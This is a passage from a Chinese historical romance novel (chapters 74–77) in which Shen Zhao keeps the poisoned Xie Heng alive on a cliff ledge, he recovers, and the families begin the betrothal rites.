背上一股钻心蚀骨的痛袭来,他握着沈昭的手又紧了紧,怕她抬眼看出自己强忍的破绽,他引她向下看,问道:“那儿好像有个落脚处。” 沈昭顺着他指的方向望去,但影影绰绰看不分明,何况云雾和石阶本就颜色相近,虽可窥见一角,可生死一事,她不能确保。 她慢慢抬起手,探向头上的簪子,却空空如也,想必是方才在太平车上一路颠簸掉了。 谢珩同她心有戚戚,在她抬手的瞬间,他手中的匕首已冲着石台方向扔了下去,铿然一声,匕首击于石上,金石相击,利落又清脆,寒音激荡空谷,余韵颤颤,散入云雾中。 确有个石台,但能否落脚,是否稳固,却不得而知,脚下的枯树摇晃的幅度减弱,他们刻意收敛动作,尚且还能在此站得久些。 一股腥甜涌上谢珩的喉间,他后背上钉着的几枚暗器涌着黑血,若是细看已经浸湿了小片衣袍。 出于情急,他随着沈昭弃马下崖时,被惊云暗算,中了他的暗器,忍到此刻已经是极限。 耳边罡风呼啸,他们二人衣着单薄,只怕还未等来救援,会先冻死在这枯树上。 最要紧的是,他支撑不了太久了,他若在此毒发,一定会拖累她。 谢珩小退了半步,慢慢松开握着她的手:“我先去探探路,你在此等我。” 沈昭却猛地拉住他的手腕,一口拒绝:“不行,是生是死,我们一起,石台离我们应该不算远,我可以自己跳下去。” 谢珩拗不过她,又不能多作耽搁,问她:“你可想好了?” 两人执手临渊,衣袍当风鼓荡,凌乱的发丝在风中交缠,她指尖冰凉却握得极紧。 他虎口的剥茧贴着她的指节,是这烈烈寒风中唯一温暖。 方才被车上货箱砸到身上时,沈昭唇角溢出的血早已在风中干透,一点点猩红沾在毫无血色的薄唇上,唇色浅浅,在他眼中却艳得灼人。 惊云狠辣,此毒尚不知是否有解药可解,纵使金吾卫知她们落入山崖,整山搜救亦需要耗费时日。 他忽地低头,带着一丝决然低头吻她染血的嘴角,纵使赴死,也笑得眉目舒展。 第75章 沈昭被他突如其来的吻遮盖住视线,吐息中铁锈气弥散,分不清是他的还是她的,这吻一触即离,如蜻蜓点水般轻碰,他抑住喉间翻涌的*血,将头偏开。 她的手却紧紧同他相扣,她被他一只大手揽在怀中,一步踏空,两人向下坠去,她的衣裙如凋谢的花坠落,任风吹割,却始终未松开彼此。 谢珩怕毒血四散,不敢运气,两具肉身砸落在石台之上,砰得一声,他的脊背撞上石台闷响一声,却将她护在胸前分毫不伤。 尘灰漫起时,他扭头吐出一口黑血。 崖上的凛风冻住了人的感官,她抽回扶在他身后的手,才见指尖被他的血染红。 沈昭瞳孔骤缩,指尖发颤,一时不敢去碰他,一旁他吐出的黑血刺目森然。 若仅是摔一下,又怎会如此严重。 她几乎是扑跪下去,双臂紧紧环住他虚弱的身躯,将他扶起坐在一旁,声音抖得不成样子:“你伤在哪了,让我看看。” 谢珩知道再瞒不住,弓着身子,将后背深深嵌入的暗器拔出,扔到一旁,故作镇静道:“无碍。” 他染血的指尖轻轻抬起,蹭过她的脸颊,留下一道刺目的红痕:“慌什么”他低笑,气息微弱,却带着惯常的笃定,“你还在这,我怎么舍得死。” 沈昭憋住眼中的泪,轻轻将他扶起,扯下衣裙的一角,按在他后背的伤口上,浅色的绸缎顷刻被浸透,黑血染了她满手。 豆大的眼泪决堤般从她眼中滚落,她吸吸鼻子,掩住哭腔:“谢珩,再坚持一下,你若死了,我便跳了这悬崖,黄泉路上也不会放过你!” 谢珩脸上仍然带着笑,可说出口的话却断断续续:“那你可不能喝孟婆汤,否则”他顿了顿,一股灼热顺着血脉游走,烧遍他的全身,烧得他滞住了呼吸。 听到沈昭的呼唤,他艰难地抬了抬眼皮,给出一丝反应。 沈昭看他越来越虚弱,虽然嘴唇瓮动,可说出口的话全是气音,只有在她唤他的时候还强撑着应下,她擦掉脸上的泪痕。 她们不能坐以待毙,必须让人尽快找到他们。 她适才抬眼环顾四周,只有一个石台和零星的几颗碎石头,她慢慢挪到石台边缘,向下望去,仍是茫茫一片,但对面崖壁上,隐约可见几棵枯树,与她们之前落脚的那棵无异。 前后无路,她们只能在此等着。 脚边是谢珩刚掷下的匕首,她拿起匕首,求生的欲望大过身上的酸疼,果断从自己裙角上割下几片碎布,又在石台上挑捡了一些大的石块,将布放在石台边缘压住。 虽然希望渺远,但只要活着,尚还有一线希望。 她又将刚刚被血染透的锦缎包在石头上,捡了一些细小的藤蔓缠住,从不同方向向崖底扔去,她身着浅色的衣裙,又割下谢珩身上的碎布包在石头上,抬手的瞬间记起惊云恶毒的话,山崖下是一处闭口湖。 但谁知道他话语里的真真假假,若是真有小路,能被人发现呢! 只要有人看到,定能分辨出这是求救的讯息。 她复又丢了几枚石子下去,直到手边没有可用的细枝,冲着山崖下大喊,可回应她的只有激荡的回音 把能做的事都简单布置完后,她又坐回谢珩身边,观察他背后的伤势,血流的缓了许多,但他仍然半昏迷着,只有喊他的名字时才能从他轻颤的长睫中,感受到他的回应。 沈昭记起话本中的信号弹,长安城中已经有烟火,那他身上是否也会有此物? 可这一线希望,在沈昭探寻一圈后,又落了空,他们手边除了一把匕首再无他物。 如此一番折腾,她身上出了一层薄汗,经风一吹,冷得直颤,她靠在谢珩身边,安慰道:“天无绝人之路,我们一定会获救的!” 悬崖之上,左将军卫青得令后,带着金吾卫紧随谢珩之后赶来,将车夫和惊云拿下,他挥剑落在惊云脖颈处:“惊云,你枉顾人命,若交代出山崖下的生路,或许还可有一丝转机。” 惊云在筹划今天的一切时,早抱了必死的念想,他狞笑道:“那你该去问从崖底爬上来的人,我哪里知道。” 卫青气得手不住颤抖,忍着将他就地正法的心,将剑斜挥出去:“带走!” 他站在崖顶,向下望去,一眼望不到头,概因得令后赶来的急,并没有太多准备,只得先遣人回左衙,拿工具绳索,又派了几人从崖底往上开始搜寻,并去附近的村庄找熟知路的人相助。 太阳西坠,日落后山崖之下的温度骤降了几许,沈昭的裙角已被她撕得七零八散,索性身上的衣物仍在。 她不时地观察谢珩的状态,生怕他晕过去,不多时就同他搭话,谢珩迷糊中嘴角吐出几个字,但仅是本能反应,已听不到她的声音了。 她每隔一段时间就放声呼喊,但无人应她,为了节省体力,她拿起一旁的匕首,有节奏地敲击着崖壁,寄希望能有人听到。 崖底是一个空旷的乱石地,闭口湖也在其中,面积不大,岸边还有些动物的尸体,空气中弥散着刺鼻的气味。 在山崖下搜寻的金吾卫用手掩住口鼻,嘴里喊着:“将军,将军。” 小虎子在山里玩时迷了路,顺着山路走到此处,听闻前方人的呼喊,瞧着铁甲利刃的金吾卫,威风凛凛,他走上前凑热闹:“各位官爷,可是在找什么人?” 众人没有闲心思理他,催促道:“走走,快回家,小孩子别到处乱跑。” 小虎子撇撇嘴,挪着小步走开,不耐地踢起一旁的碎石,红彤彤的石头在空中划出一道弧线,他低头望去,脚尖上沾了点红,他皱着眉头,又在一旁的石头上蹭了蹭,试图将血抹去。 眼见天色不早,怕再遭阿翁念叨,他准备沿着山路回家,可刚走出没几步,被地上的一颗石头吸引了视线。 他蹲下身子,细细打量石头的纹路,总觉得眼熟,没走出几步又发现一颗。 他来了兴致,将方寸之内的石头都收集起来,看着深深浅浅的两种不同颜色,霎时想起不久前在严家门前的那两位。 他抓过那个哥哥的衣服,正是同样的衣样纹路。 他跑到金吾卫跟前,问道:“你们是不是在找一个穿黑衣的哥哥,和一个浅色衣裙的姐姐,我今天在礼安坊见过她们,你看这些石头,就是她们今日所穿。” “去去去,小孩上一边玩去,别捣乱。”金吾卫斜睨了他一眼,完全没将他的话放在心上。 小虎子心有不甘,仰着头掐腰,气鼓鼓道:“我要找你们的头儿!” 金吾卫气急,扬了小虎子手里捧着的石子,直接扯着他的衣领,单手将他拎起放在一旁的大路上:“我们也在找他,别在这掺和,快回家去。” 小虎子扯了扯自己的衣领,回头撞上他阿翁,不由得一个趔趄。 阿翁笑着赔罪道:“小孩子不懂事,官爷莫怪。”摁着小虎子的头将他领回家了。 “回家?”刺骨的寒风刮过沈昭的脸颊,身上的酸疼带着后劲,让她从瞌睡中猛地惊醒。 抬头只有一轮明月高悬于空,因着夜间雾气更深,只能撇见淡淡的月晕,散着清冷的光。 谢珩歪在她身侧仍不省人事,脸却红得厉害,她探向他的额头,滚烫如火炭,薄唇干裂泛白,呼吸沉重而急促,每一次喘息都仿佛耗尽了全身力气。 她心头一紧,抬手去触他背后的伤口,血已经止住,自她们掉下山崖已过了半日,若是再拖下去,只怕 顾不得多想,她将他抱在怀中,又将他冰冷的手拢入自己掌心,呵气暖着:“谢珩,再坚持一下,我们很快就会回家了。” 似是听到她的话语,他眼皮皱了皱,唇角开合,却只能溢出几声低哑的气音。 沈昭俯身贴近,耳畔才堪堪捕捉到他气若游丝般的呢喃:“水” 他眉心紧蹙,额角青筋隐隐跳动,干涸的唇瓣上还凝着暗红的血痂,随着他唇齿微动,裂开几道细小的血痕。 沈昭余光扫过角落处那一抹寒光,盯着自己冻得青白的掌心,毫不犹豫地拿起匕首,闭着眼用力,锋刃划过掌心,温热的鲜血顿时涌出,沿着她细密的掌纹蜿蜒而下,滴在他苍白的唇上。 他似有所觉,唇瓣微颤,无意识地轻吮。 她顺势将掌心贴上他的薄唇,谢珩的鼻翼瓮动,干裂的唇本能地追寻那抹湿润,当第一口血水入喉,他眉间的痕迹折得更深,喉结却不受控制地滚动。 烫,谢珩整幅身躯仿佛一团灼烧的火,他的唇舌更是滚烫地要化开她每一寸肌肤,可他吮血的力道却极轻,像是怕弄疼她,又仿佛每一次吞咽都异常艰难。 可偏偏湿热的触感如此鲜明,舌尖偶尔擦过她的指节,激起细细密密的痒麻。 她指尖蜷缩,却并未抽离,任由他索取。血珠沿着他的唇角滑落,将苍白的唇染至血色。 源源不断的温热液体滑过他的咽喉,他混沌的意识似乎清醒了几息,长睫剧烈地颤动着,竟挣扎着最后一丝力气别开头。 沈昭抬手扶住他的脸,将掌心又贴近几寸,迫他继续饮下:“谢珩,活下去,你答应过我。” 他卸了力,喉结滚动,唇齿间尽是铁锈腥气,却混着她身上淡淡的气息,是他此刻唯一能抓住的生机。 分不清已过了几个日夜,烈风刮过嶙峋崖壁,却吹不散方寸之内的血腥之气,沈昭两只手结满血痂,曾经饱满又鲜红的的唇瓣如皲裂如龟裂的河床。 当晨曦突破云雾时,她正缓缓抬手试探谢珩的气息,四肢麻木得不像自己的,感受不到他的鼻息,只隐约可见垂落在他胸前的手还有一丝轻微的起伏。 他似乎退了烧,但是却再无任何反应。 正午的烈日将崖壁烤的发烫,沈昭的视野开始摇晃,眼前嶙峋的怪石忽然变成了模糊的灰影,温热的液体滑过下巴,沈昭已无力抬手去拭。 黄昏的风送来若有似无的呼喊声,沈昭涣散的眼瞳微微收缩,眼前的云雾似乎离得更近了,触手可及。 在她昏迷前的最后一丝清明里,她下意识拢了拢手,抱紧怀中的人,像护着最后一簇即将的熄灭的火种。 当黑暗漫上来的时候,耳边的呼喊声更清晰了几许,她却分不清是现实还是梦境,沉沉睡去 沈昭睡了很久,梦里的她置身于一片黑暗之中,辨不清方向,亦不知自己走了多久,唯一清醒的是意识。 原来人死后是这般模样。 她在原地蹲下,目光落在掌中斑驳的血痕上,犹豫良久,忽地握指成拳,五指深深掐入掌心。 若身死后,还能感觉到疼吗? 十指连心,钻心的刺疼搅着每一根神经直抵心房,她的眼皮颤了颤。 浓重的药香混着淡淡的血腥气直往鼻子里钻,耳畔是来来往往的细碎脚步声,还掺杂着低声的呜咽。 她想睁眼,可眼皮沉重如铅,长睫颤动多次才勉强撑开一线。 模糊的视线里,软纱的锦帐随着她的呼吸轻轻摇晃,身下是干燥又柔软的褥子,却让她莫名感到不真实。 她复又阖起眼眸,再睁开时,一切如初。 她试着蜷了蜷手指,顺着胳膊引来一股钻心的疼——原本如脂如玉的手被裹满麻布,像是两个笨拙的棉团。 她侧目望去,脖颈木得厉害,只得一点点慢慢扭转,直到对上严母已经哭肿的双眼,踉跄着向她跑来,她霎时才有活过来的实感。 “醒了!来人啊,大夫!”严母的眼泪扑簌簌地落下,泣不成声,跪在床榻前,“我的孩子,你总算醒过来了。” 听到她的呼喊声,候在外的春宁忙去请大夫,沈昭忙问道:“谢珩呢,他可还好?” 严母抹了把眼角的泪,视线躲闪,正巧看诊的大夫提着药箱赶来,她退到一旁给大夫让出位置:“你刚醒,莫急,先让大夫为你看看。” 沈昭以手肘支着身子坐起,作势要下榻:“大夫,请你如实相告,谢珩如何了?” 大夫浅叹一声,错开话锋:“姑娘大病初愈,还请稍安勿躁,容我为你切脉一观。” 第76章 沈昭用包起的手别扭地掀开盖在身上的锦被,绣鞋也来不及穿,跑向前院“秉正堂”:“你们既然不说,我自己去看。” 严母提着他的绣鞋追去:“他还没醒,你再着急也得先看顾好自己的身子。” 他们两人在山崖上被困了三天,小虎子也因着贪玩被关在家里呆了两天,直到第三天溜出家门,跑到严家报信,而此时在山崖下搜救的人也顺着藤索摸到悬崖中下端,在石台上见到已经昏迷的两人,将她们带回了晋国公府。 李立雯那日在家久等她们二人回府用膳,本来还心中不顺,并不想如此简单应下,左等右盼全然没有他们的消息,直到金吾卫送信回府,他们二人跌落山崖,生死不明。 吓得她这些日子连眼都不敢闭,生怕醒来便再闻噩耗,只每日陪着老夫人抄写经文,替他们祈福。 后来两人被送回国公府,严母眼巴巴跟随其后,又不敢多言,连脚步都是虚浮的。 同为人母,李立雯经过两次失去孩子的痛,看着满脸皱纹的严母,一时动了恻隐之心,破天荒地将她迎进府陪着沈昭。 沈昭走到秉正堂时,正遇着卫青和姜尧带着几名金吾卫从院中走出,正准备离府,见到沈昭醒了,他们眼中闪过一丝欣喜,但很快又垂下眼角,握拳执礼,不再多言离开了。 院里院外家仆们脚步匆匆,杨方双臂环抱在身前,不耐地皱着眉头,眼下青黑,已是四晚没睡了,见到沈昭,他疾步上前:“姑娘,你终于醒了!快去看看我们大人吧,他、他一直昏迷不醒。” 推开门的刹那,屋内沉香气混着药香扑面而来,撞得她眼眶发酸,屏风后那张熟悉的黄木雕花床上,谢珩静静躺着,曾经眉目含笑的眼眸此刻紧闭,脸上毫无血色。 她跌跪在榻前,轻声唤他的名字,可回应她的只有杨方浅浅的叹息。 方才为她诊脉的大夫复又拎着药箱随她而来,见状不再多劝,只走到沈昭身旁,怕她忧心谢珩伤势不肯问诊。 开口解释道:“谢大人外伤虽然伤及筋骨,但并不严重,只是身上这毒狠辣,若是这毒入血液肺腑本无药可解, 可他的脉象又与中毒深重的人有异,前日,宫中御医调下解毒药方,可他服下后仍不见醒” 若看只看脉象,常人之脉若春溪潺潺,和缓有力,身受重伤之人却脉象虚浮甚至时断时续,更像飘于疾风中的游丝。 大夫复又继续说道:“但谢大人脉象虽微弱,可并未断绝,甚至每隔十息便有一次强跳,此乃根基未损之兆,大人求生意志极强,可一直未醒,仍需多观察。” 沈昭谢过大夫,只要还有一线生机,都不能放弃,她记起这毒是惊云的暗器所下,问道:“大夫,那他身上的毒可是解了?” “嗯,他中毒不深,宫里的御医又为他服下还神丹,体内虽还有些余毒,但并非不可解。只是需要时日。” 中毒不深? 沈昭犹记得那日他们跳下山崖时,谢珩已然毒发吐血,但她到底不通医理,何况又有多名大夫为其看诊,没有深究,只要他能早日苏醒就好。 沈昭醒过来的消息很快传入李立雯耳中:“真的醒了?” “千真万确,她醒来就去秉正堂看少爷了。” 李立雯双手撑着身下的蒲团起身,婢女上前将她扶起。 此时还跪坐在一旁诵经的老夫人缓缓睁开眼:“人醒了就是好事,相信珩儿在她的陪伴下也会很快恢复的。” 李立雯知晓老夫人话中深意,点头应下,带着婢女匆匆往前院赶,及至屋前,看到沈昭坐在床榻上,两只缠如棉团的手,小心翼翼地覆在谢珩的额上。 伺候的家仆们刚欲开口被她抬起的手打断。 依大夫所言,若不是沈昭以血喂他,只怕他们从山崖下将其救回,也是一具死尸。 想起沈昭细嫩的手上布满了深深浅浅的刀痕,划得血肉模糊,饶是再铁的心肠都不禁心颤。 她并未打扰,只匆匆看了一眼就转身离开,吩咐道:“好生伺候着他们二人,将我房里的补品拿去炖了,送到少爷房中。” 自沈昭醒来后,除了夜深回房睡觉,整日陪在谢珩床前,严母劝过她几句,但她执意如此,也就由着她去了。 沈昭不懂医术,但依着大夫所言和谢珩如今的状态,倒与植物人无异,她每日在床前陪他说话,从他们初遇讲到二人互表心意,又将这四年她的见闻一一说与他听。 她坚信,只要他体征平稳,存有一丝意志,一定能醒来。 期间陛下遣人前来探望、高峻李玥听闻速赶来国公府、夏目怀着愧疚带蓁蓁入府致歉 时间倏然而过。 众人从最初的满怀期望变成无奈叹惋,最后只安慰她放宽心,似是已默认了谢珩身死的事实。 只余沈昭自己每日定时定省,坐在床榻边一遍又一遍重复着他们的故事。 直到那日慧能随着马车进城前往茶铺时,才知他们竟出了这么大的事,念着谢珩生死不明,夏目本不愿多言,但又经不住慧能打探,才简单粗略讲了讲。 跟随慧能一同进城的师兄听罢,又详问了一些细节,最后自请入府,拿出一个瓷瓶交与府中的大夫。 原是沈昭这四年久居山野时,后又被蛇咬过,她共中过两次蛇毒,解毒汤药中,有一味五毒根毒性极强,确是清毒的良药,可对于谢珩未中过毒的人来说,却也致命。 加之她住的宅院一扩再扩,哪怕是药粉也有所不及,只得靠着慧能之前送她的那些药丸度日。 这药是寺里的师兄自主调配,药性可控,且能依她的身子调配,常年如此,深入血脉亦不可知,她给谢珩喂血延缓了他的毒发,却又对上他本身所中之毒,药性相冲。 师兄为其施针把脉后,又为他服下药丸,暂借住在府中观其状况。 三日后,夜深。 屋内烛火幽微,沈昭将帕子放在铜盆中浸湿,拧干后轻轻擦过谢珩的额头,这双手已经不知重复过多少次这样的动作。 他的眉骨已然锋利,只是面色仍旧苍白如冷玉,曾经干裂的唇因她一日扶一日的照看有了些许光泽。 沈昭轻蘸一旁的蜜水,轻柔地碾过她的唇,低声道:“高峻和玥儿今日来看你,小芷儿冲我一直不停地笑,虽还不能开口,可她的眉眼漂亮极了,”她伸出自己的食指,“小芷儿从襁褓中挣出一只小手,就这样握住我的指尖,可用力了。” 她握起谢珩的手,轻轻擦拭着,赌气般说道:“你一个能文能武的将军,如今还不如个月余的婴孩不成,若是你再不醒来,以后我可只让小芷儿和蓁蓁牵我了。” 他骨节分明的手无力地垂在她的指尖,曾经这双手永远带着炽热的温度,如今却仿佛一只玉雕,冰冷地不似真物。 忽而眼前的“玉雕”轻颤了一下,沈昭一时恍惚,又屏住呼吸定睛细看,却再无动静。 她苦笑,这月余,她已记不清有多少次类似这样的错觉了。 自言自语道:“那你不言,便是默许了,以后再不许你牵我。” 她嘴上赌气,可动作却极轻,抬起锦被将他的手稳稳放下,正要抽身的瞬间却被一只大手攥住了手腕。 这力道并不大,沈昭可轻易地挣开,但她却不可置信地僵在原地,只觉浑身的血液都凝住了,呆望着那只毫无血色的手,其上的青色血脉隐现,青筋因微微用力而缓缓拢起。 “谢谢珩?”沈昭声音发颤。 抬眸对上床榻之上的人,他慢慢睁开双眼,那双眼眸黑的骇人,久不见光的瞳孔剧烈地收缩,在昏暗室内泛出琥珀色的光晕,像被雨水打湿般覆了一层浅浅的潮气。 眼瞳中的血丝如蛛网般爬满眼白,却遮不住他眼底那一丝独属她的柔情。 “昭沈昭。” 他的喉结缓慢滚动,因着每日只能少量进食进水,嗓音沙哑地如被粗粝的石子滚过,却生涩又艰难地唤出她的名字。 他忽然剧烈喘息起来,胸膛起伏间,身子不由得弓起,随着他的咳嗽,一缕鲜血自他的唇角蜿蜒而下,滴在沈昭还未收回的手臂之上。 滚烫如蜡泪。 “大夫!快来人。”沈昭慌似地起身去叫人,身子却止不住地颤抖,她不想再一次失去他。 她却被他紧紧攥住手腕,带着薄茧的指尖紧紧贴着她,再不愿放开。 在外的家仆听到屋内的动静,忙去请大夫和尚在厢房休息的僧人。 很快屋内站满了人,李立雯和老夫人也从佛堂匆匆赶来,大夫为其诊脉后,簇起的眉峰终于渐渐舒展,他同僧人共诊两人合计后,对众人说道:“老夫人请放心,谢大人方才将体内最后一丝毒血吐尽,已然无碍,大人身体底子好,只需好生调养,不出数日必能康复如初。” 老夫人双手合十于胸前,低语谢上天垂帘,李立雯喜极而泣,所有的家仆们的愁颜霎时舒展开。 沈昭则站在一旁,眼眶中蓄着泪,又侧过头,吸吸鼻子,用手擦去眼角的泪痕。 大夫又开了几副药方,家仆随他前去抓药。 寺中的僧人在此叨扰多日,见他无碍,起身辞别,老夫人和李立雯千恩万谢,又备上一车的谢礼,派马车送他回灵山寺。 待屋内的人七七八八散去,李立雯回身瞧着躺在床上的谢珩和站立在床榻旁的沈昭,心中思绪翻涌,但最终妥协道:“你留下来好好陪陪珩儿吧,既然醒了,就莫折腾了,你们尚还年轻,我可受不住这些了,何时好了便何时成婚,莫在我眼前扰我了。” 李立雯突然松口,沈昭还未反应过来,便听得身后床榻之上,谢珩又咳嗽了几声,她忙上前扶起他,轻拍着他的背,复又端起一旁的温水。 李立雯见他咳嗽,刚抬起脚步,就见沈昭已坐在床榻边了,她释然一笑,而后转身离去。 沈昭拿着瓷勺将水递到他唇边,小口喂他服下。 谢珩艰难地抬起一只手,轻抚上她的脸庞,她眼下青影深深,原本丰润的脸颊消瘦了不少,几缕碎发散落于肩。 “苦了你了”他喑哑的声音微润了些,每个字像是从胸腔深处挤出,心疼又怜惜。 沈昭摇头,泪水打湿了他的掌心,他轻柔地为她抹去脸上的泪,不觉间自己眼角微湿,轻声说道:“你若再哭下去,旁人还真以为我死了呢。” 沈昭忙掩住他的唇:“你再乱说,我可真不理你了。” 谢珩拉开她的手,轻轻落上一吻:“大夫的话你都不信么,还是你只信我?” 见他眉目带笑,能有心思同她打趣,该是无碍了,沈昭扶着他躺下:“大夫让你多休息。” 谢珩却始终不肯将视线偏离一点,哪怕是躺在床榻上,也侧首凝望她,紧紧握着她的手,片刻也不想休息,生怕一睁眼又回到暗无光景的梦中。 不一会厨房端来一些易消化的薄粥和熬好的汤药,沈昭扶他坐起,端着碗一小口一小口喂给他,他的长睫随着她的动作轻眨,仍抬眼望着她。 见随侍的家仆退下,沈昭拿出锦帕擦干他唇角的水渍,被他盯得脸热:“你要不要再睡一会,我不会走。” 他猛地一阵咳嗽,吓得沈昭连忙为他抚背,嘴里那句“大夫”还未喊出口,却被他一把拥入怀中。 他的双臂收紧,将她牢牢抱在身前,他埋首在她颈间,呼吸着她身上熟悉的甜香,声音发闷:“我梦中一直在寻你,可你却头也不回地走了。” 沈昭轻抚着他的背,这月余的恐惧和绝望,在感受到他胸膛传来的强有力的心跳时,化为沉稳的笃定,一下一下的跳动,清晰又平稳,有力地撞击她的耳膜。 “我一直都在。”她抬起头,撞进他的深瞳中,他的眼眸彻底恢复了清明。 沈昭绽开一个带泪的微笑,看见自己的身影完全盛放在他眼中那片墨色里,再没有一丝阴霾。 完结&番外 第77章 谢珩刚苏醒不久时,便煞有介事地问道:“我躺了多久,如今是几月?” 沈昭观他神色急切,不解道:“已是八月末了,你当务之急是养好身子,还有何要紧之事不成?” 当然要紧!因着老夫人回府前,相看的黄道吉日正定在九月,只是沈昭不知罢了。 谢珩轻吁出一口气,幸好尚未错过,他前半生护长安安定,剿外族势力,曾一直将生死置之度外,却在见到沈昭掉下悬崖那刻突然慌了神。 鬼门关走这一遭,当整个世界只余下一片漆黑,他眼前浮现的不是战场上的金戈铁马、不是打败孑于的畅快、不是帝王封赏和功名利禄。 而是沈昭站在檐下,弯着笑眼每每等他回府时的场景。 初见她时她狼狈得不成样子,衣裙被污泥沾染,青丝凌乱,却独独烙印在他心头,挥之不去。 为了再见她一面,他硬是从鬼门关爬了回来。 若他能活下去,第一件事便是迎娶她,护她一世安稳。 四年前,他们草草办了仪式,可他心中始终有愧,虽然当日有媒有聘,可毕竟三书六礼不全,他不想沈昭一直无名无分,他要堂堂正正迎她过门。 他笑得明媚,目含情意:“娶你过门,是我眼下唯一紧要的事。” 沈昭的指尖被他握在掌中,带着薄茧的指腹轻轻摩挲着她手背上的浅青色血管,淡淡的绯色蔓上她的脸颊,明明连最亲密的事都已做过,可当他赤诚热烈地说出“娶你过门”时,她仍觉得一股热流从脊背窜上来,烧得耳尖发热。 谢珩凝眸望她的眼神太过灼热,让她不禁想起喜烛高烧的那夜,他也是用这样的目光,一寸寸将她融化。 她下意识想抽回手,却被他握得更紧,他拇指恰好按在她腕间的脉络处,那里正跳的厉害,怕是连他都察觉到了。 “怎么不说话?”谢珩低笑,声音里全是沙哑的蛊惑,“莫非我的诚意还不够?” 他故意用指腹在她掌心画圈,轻轻摩挲反复纠缠,酥麻的触感让她浑身一颤,令她不由得想起每每欢好后,他都会如此,偏要在她身上每一处勾画,夜夜不休。 “那那你身子可要快好起来。”她声音细如蚊呐,连自己听着都羞,分明不是不经人事的少女,怎么还像个新嫁娘般臊得慌。 偏偏谢珩故意使坏,他忽地凑近,薄唇贴上她的指尖,“好,全听夫人的。”他故意咬重“夫人”二字,舌尖擦过她的指尖边缘,惊得沈昭差点跳起来。 毕竟还在晋国公府,门外还有一众随侍的家仆,他竟如此胡闹。 “谁是你夫人,”沈昭急急抽回手,却被他顺势带入怀中,他身上熟悉的沉香混着药香扑面,沈昭的额头抵在他锁骨处,听到他胸腔传来闷闷的笑声。 沈昭挣扎着起身,攥拳轻捶在他的肩膀处,又不敢太大幅度,怕牵扯到他背上的伤口。 谢珩便更得寸进尺般对她又亲又吻,完全不放她 在沈昭的精心照料下,谢珩恢复得很快,时光一晃便到了九月。 谢珩背上的伤口亦在慢慢结痂,这日他刚服完药,扯着沈昭的衣袖任性地不放,两人正拉扯着。 王管家清咳两声,入内禀告:“少爷,姑娘,夫人有请。” 沈昭脸上的笑凝固了几息,虽然她伤重时,李立雯同意留严母在府中照抚她,对她和谢珩的事暂松了口,可到底拿不准李立雯的心思,心中没底。 谢珩看出她的担忧,握着她的手紧了紧,笃定地望着她:“放心。” 两人一齐去了前厅,李立雯和老夫人均在。 谢珩和沈昭见礼后,分别坐于两侧,老夫人脸上的笑意不减。 一旁的李立雯不喜不怒,她看向沈昭问她:“你既是严家的女儿,这沈昭之名又是从何而来?” 初入府时的压迫感,又一次向她逼来,她大可以两头瞒下,可若真提及谈婚论嫁,此一事仍掩不住。 若如实相告,严元清身死的消息不保,世上只会多一个可怜的母亲,何况又有何人会信她穿越而来一事,哪怕是谢珩都只是知晓她来自九州。 谢珩眉头紧了紧,本以为母亲是商议她们的婚事,却不曾想又是一番质疑和追问,他起身,刚欲开口。 沈昭先一步说道:“我确实是严元清不假,当初入府时,为了怕事情有朝一日败露,牵连到严家,所以才编造了沈昭一名。” 沈昭抬眸对上李立雯打量的目光,唯有如此才能姑且做出最合理的解释。 “母亲!”谢珩站在一旁开口阻拦。 李立雯单手支着额头,浅叹一声,她着实是辨不明其中真真假假了。 她眼角攒起的皱纹松了松:“罢了,既如此,那你先回严家吧,你昏迷的时候你母亲也耗费了不少心神,府上有几只上好的人参,一道带回去吧。” 这是赶她出府? 沈昭没有慌,镇定地先行谢过,在一旁站着的谢珩则径自走到她身旁,势要与她同进退:“母亲这是何意?” 李立雯无奈地摇摇头,当真是儿大不中留:“怎的?就这么舍不得你这媳妇儿,你若想迎娶人家,不好好养好身子,准备礼单,媒人还未定,只把人栓在身边就行了?” 真是愈发没有礼数了。 老夫人在一旁打圆场道:“这都过了四年了,若是你早点应允这门亲事,我的孙女儿都会开口说话了,你不急*我可急。” 谢珩沈昭相视而笑,一同谢过李立雯和老夫人。 因着谢珩大病初愈,沈昭不忍他操劳,便没让他送自己回去。谢珩虽没有亲至,可心中仍然放心不下。 哪怕惊云后来被捕归案,之前他谋害御风虽没有实证,但他此次险些害死沈昭证据确凿,难逃一死。 他依旧命杨方带了私宅十二名家仆,送她回礼安坊,并在严家附近看守,哪怕一只鸟儿都不会携带石子入内。 严母在沈昭脱离危险苏醒后,就先回了严家,毕竟高门大院,不缺侍奉的人,闺女无事她便安心了,而且她一个村妇总怕在人家面前给自家女儿丢了面子。 沈昭踏进院子,将手中拎着的几盒人参递给严母:“母亲,我回来了,这是谢珩的母亲和祖母念着您,让我带给您的。” 严母就着抹布擦把手:“哟,这么贵重的东西,咱们是不是得回些礼,一会儿让你哥同你去集市上看看。” 她往沈昭身后探去,并未发现谢珩同她一道,心中疑虑,不会自家闺女让人如此赶回来了吧,用几盒人参就打发了? 她的疑问还没问出口,沈昭刚坐下,门外便走来身前有八名红衣健仆,抬着朱漆礼箱开道,其中盛合欢、嘉禾、河膠、九子蒲、双石、石棉絮、长命缕、干漆等九物。其后跟着一个头梳高髻,满面春风的官媒徐氏,爽朗的笑声传遍四邻,腰间挂的鱼形铜牌随着她的步子晃出细碎金光。 “吉日纳采——” 徐氏拖长的调子惊飞了在树上栖息的鸟儿。 这成婚日日皆须得良辰吉日,可谢珩的伤势一直未愈,若是继续耽搁下去,只怕又得拖上月余,便未同他们二人商议,赶着好日子让媒人登门了。 徐氏将雁往怀中紧了紧,朝着屋门叉手一礼:“劳烦通传,晋国公府遣老身来献雁纳采。” 严母一眼便瞧见了门外的热闹,哪还需得通传,可该有的体面徐氏给的足足的。 周围的街邻将严家堵个严实,脚尖抵着脚尖地看热闹。 徐氏将雁高举过眉,嗓音陡然清亮,念念有词,她手中的白头雁似通人性一般,引颈长鸣,声彻云霄,引得众人不由得啧啧称奇。 持雁纳采虽是该有的礼仪,然用这罕见的白头雁,足见对方之重视,此鸟一生不换伴侣,见之都难得。 严母笑得眼睛眯至一线,头昂的高高的,心中那点担忧霎时散了,赚足了面子,严军从未见过如此阵势,不由得瞪大了眼睛。 徐氏将雁奉到案前,复又让身后的健仆奉上礼单:“还请尊前过目。” 纳采多用中药材与实用之物,关键在取义吉祥万福、百年好合。 严母没读过书,大字不识,把礼单交由沈昭,笑眯眯地请媒人进屋用茶,女方收纳,则是正式允婚。 